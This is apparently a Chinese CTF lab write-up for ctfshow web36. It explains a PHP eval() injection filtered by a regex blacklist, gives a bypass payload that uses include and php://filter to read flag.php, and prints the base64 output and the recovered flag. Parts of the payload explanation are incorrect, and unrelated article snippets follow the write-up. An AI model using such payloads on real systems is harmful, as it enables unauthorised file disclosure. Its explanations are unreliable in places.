【CTFWP】ctfshow-web36

server/2024/9/20 7:06:10/ 标签: 渗透测试, 网络安全, 安全, CTF

文章目录

  • 题目介绍:
  • 题目分析:
  • payload:
  • payload解释:
  • flag


题目介绍:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

题目分析:

  1. 关闭错误报告

    error_reporting(0);
    
    • 这行代码关闭了所有的错误报告,这可能会隐藏一些重要的错误信息,使得调试和发现问题变得更加困难。
  2. 检查 GET 参数

    if(isset($_GET['c'])){
    
    • 这行代码检查是否接收到了名为 c 的 GET 参数。
  3. 获取 GET 参数

    $c = $_GET['c'];
    
    • 这行代码获取 c 参数的值并将其存储在变量 $c 中。
  4. 正则表达式过滤

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    
    • 这行代码使用正则表达式来过滤 $c 中的值,防止执行一些可能危险的命令或代码。然而,这个正则表达式存在一些问题:
      • 它尝试禁止一些关键词,但可能不全面或不够严格。
      • 它禁止了一些特殊字符和数字,但可能还有其他字符需要禁止。
  5. 执行代码

    eval($c);
    
    • 如果正则表达式检查没有匹配到禁止的内容,eval 函数将执行 $c 中的代码。这是一个非常危险的操作,因为它可以执行任何有效的 PHP 代码,包括恶意代码。
  6. 默认行为

    }else{highlight_file(__FILE__);
    }
    
    • 如果没有接收到 c 参数,脚本会使用 highlight_file 函数高亮显示当前文件的内容。

payload:

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

payload解释:

  1. ?c=include

    • 这表明 URL 正在尝试设置一个名为 c 的参数,其值为 include
  2. %0a

    • 这是 ASCII 字符的换行符的 URL 编码形式。在某些情况下,如果 PHP 配置不当,换行符可以用来分隔多个命令。
  3. $_GET[a]

    • 这表明 URL 试图使用变量 a 的值,但这里直接使用 $_GET[a] 并不是有效的 PHP 代码,因为它没有被正确地引用或解析。
  4. ?&a=php://filter/convert.base64-encode/resource=flag.php

    • 这里设置了另一个参数 a,其值为 php://filter/convert.base64-encode/resource=flag.php
    • php://filter 是一种流包装器,允许数据在读取时通过一个或多个过滤器进行处理。
    • convert.base64-encode 是一个过滤器,用于将数据编码为 base64。
    • resource=flag.php 表示尝试读取 flag.php 文件的内容,并将其转换为 base64 编码。

flag

在这里插入图片描述

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7Y2M5Y2RiMWUtNDY3Mi00ZjBiLWJjNTUtYjQwYzczZDY0NDhlfSI7

base64解码得到:

在这里插入图片描述

flag=“ctfshow{cc9cdb1e-4672-4f0b-bc55-b40c73d6448e}”



http://www.ppmy.cn/server/88882.html

相关文章

Power App学习笔记以及基础项目管理demo

Power App学习笔记以及基础项目管理demo 最近学习了一点Power App&#xff0c;感觉挺有意思。配置式组件开发。浅浅记录一下自己实现的项目管理系统&#xff08;即Excel数据的增删改查&#xff09;关于函数的一点皮毛认识。 效果图 筛选数据 编辑 详情 数据源 PowerApp 网…

河北省高校大数据人工智能实验室案例分享

随着大数据和人工智能技术的快速发展&#xff0c;教育领域也迎来了前所未有的变革机遇。泰迪智能科技作为一家专注于大数据与人工智能领域的高新技术企业&#xff0c;一直致力于将前沿技术引入教育行业&#xff0c;助力高校培养更多具有创新能力和实战经验的复合型人才。本次案…

PHP Switch 语句

PHP 中的 switch 语句是一种多路分支语句&#xff0c;它允许一个变量的值对多个代码块进行选择执行。这通常比使用多个 if...elseif...else 语句更清晰、更易于维护。下面将详细介绍 PHP 中 switch 语句的使用方法。 基本语法 switch (n) {case label1:// 如果 n label1&…

<Python><paddle>基于python使用百度paddleocr实现车牌识别

前言 paddleocr是百度飞桨的一个文字识别库&#xff0c;准确度非常高&#xff0c;基于其文字识别的基础&#xff0c;将其用于车牌识别。这个识别的准确度是相当高的。 环境配置 系统&#xff1a;windows 平台&#xff1a;visual studio code 语言&#xff1a;python 库&#…

oracle使用backup as copy方式迁移数据文件

oracle使用backup as copy方式迁移数据文件 1 基础环境 --确认数据文件路径 set line 200 col name for a75 select file#,name from v$datafileFILE# NAME ---------- ---------------------------------------------------------------------------1 /u01/app/oracle/orada…

一些和颜色相关网站

1.中国传统色 2.网页颜色选择器 3.渐变色网站 4.多风格色卡生成 5.波浪生成 6.半透明磨砂框 7.色卡组合

MAC配置环境变量

MAC配置环境变量的地方 1./ext/profile(建议不修改这个文件) 全局&#xff08;共有&#xff09;配置一般不管那个用户&#xff0c;登陆时都会读取该文件。 2./ext.bashrc(一般在这个文件中添加系统级环境变量) 全局&#xff08;公有&#xff09;配置&#xff0c;bash shel…

Leetcode 721.账户合并(hash+dfs)☆

思路&#xff1a; 最核心的地方在于如何合并&#xff1f;这里是通过具有相同的email进行账户的合并&#xff0c;这个相同的email类似于图中的共同节点将两个账户连接起来&#xff0c;所以将原来 账户名 -> 邮件1 邮件2.。。变成hash 邮件1 ->账户id1&#xff0c;账户id2…

WPF启动失败报System.Windows.Automation.Peers.AutomationPeer.Initialize()错误解决

问题描述 win10系统上WPF程序启动后就崩溃&#xff0c;通过查看崩溃日志如下&#xff1a; 应用程序: xxx.exe Framework 版本: v4.0.30319 说明: 由于未经处理的异常&#xff0c;进程终止。 异常信息: System.TypeLoadException 在 System.Windows.Automation.Peers.Automatio…

【C#学习笔记】变量、变量类型

在C#中&#xff0c;变量是存储数据的容器&#xff0c;每个变量都有其特定的数据类型&#xff0c;这决定了变量可以存储的数据类型和大小。以下是关于C#中变量的由浅入深的详细解释&#xff0c;并附带代码示例和解释&#xff1a; 基础概念 定义&#xff1a; 变量是存储数据的容…

深入剖析:GaussDB与MySQL在COUNT查询中的并行化技术

引言 数据库查询性能优化是数据库管理和开发中的一个重要议题。在处理大数据量的COUNT查询时&#xff0c;传统的单线程处理方式可能无法满足现代应用的性能需求。GaussDB(for MySQL)和MySQL作为流行的数据库系统&#xff0c;它们在并行查询优化方面有着各自的策略和技术。本文…

昇思25天学习打卡营第19天| Diffusion扩散模型

扩散模型&#xff0c;特别是Denoising Diffusion Probabilistic Models&#xff08;DDPM&#xff09;&#xff0c;是一种从纯噪声开始&#xff0c;通过逐步去噪生成数据样本的技术。它在图像、音频、视频生成上都取得了不错的成果&#xff0c;比如OpenAI的GLIDE和DALL-E 2。 扩…

Cookie和Session的区别

目录 Cookie是什么 Session是什么 Cookie和Session的区别 Cookie是什么 Cookie是一种用于客户端和服务器之间传递数据的机制。当用户访问一个网站时&#xff0c;服务器可以向用户的浏览器发送一个包含特定信息的Cookie&#xff0c;浏览器则会将该Cookie存储在本地计算机上。…

matlab gui下的tcp client客户端编程框架

GUI界面 函数外定义全局变量 %全局变量 global TcpClient; %matlab作为tcpip客户端 建立连接 在“连接”按钮的回调函数下添加以下代码&#xff1a; global TcpClient;%全局变量 TcpClient tcpip(‘192.168.1.10’, 7, ‘NetworkRole’,‘client’); %连接到服务器地址和端…

巴斯勒相机(Basler) ACE2 dart 系列说明和软件

巴斯勒相机(Basler) ACE2 dart 系列说明和软件

昇思25天学习打卡营第8天 |昇思MindSpore ShuffleNet 图像分类学习笔记

1. ShuffleNet 网络简介 ShuffleNet 是旷视科技提出的一种高效卷积神经网络模型&#xff0c;旨在使用有限的计算资源实现高模型精度。其核心思想包括&#xff1a; Pointwise Group Convolution&#xff08;逐点分组卷积&#xff09;&#xff1a;通过对通道进行分组&#xff0…

环信+亚马逊云科技服务:助力出海AI社交应用扬帆起航

随着大模型技术的飞速发展&#xff0c;AI智能体的社交体验得到了显著提升&#xff0c;AI社交类应用在全球范围内持续火热。尤其是年轻一代对新技术和新体验的热情&#xff0c;使得AI社交产品在海外市场迅速崛起。作为领先的即时通讯解决方案提供商&#xff0c;环信与亚马逊云科…

golang设置远程调试

1. 目标机器构建安装dlv https://github.com/go-delve/delve go build之后将编译号的dlv命令路径添加到PATH里 2. 目标机器下载源代码并且运行dlv dlv debug --headless --listen:2345 --api-version2 --accept-multiclient 3.本机添加go remote 4. 设置断点即可

【数据库】Quartz2.3 框架 数据库设计说明书

1、 Quartz表说明 2、 quartz 的触发时间的配置 1、 cron 方式&#xff1a;采用cronExpression表达式配置时间。 2、 simple 方式&#xff1a;和JavaTimer差不多&#xff0c;可以指定一个开始时间和结束时间外加一个循环时间。 3、 calendars 方式&#xff1a;可以和cron配合使…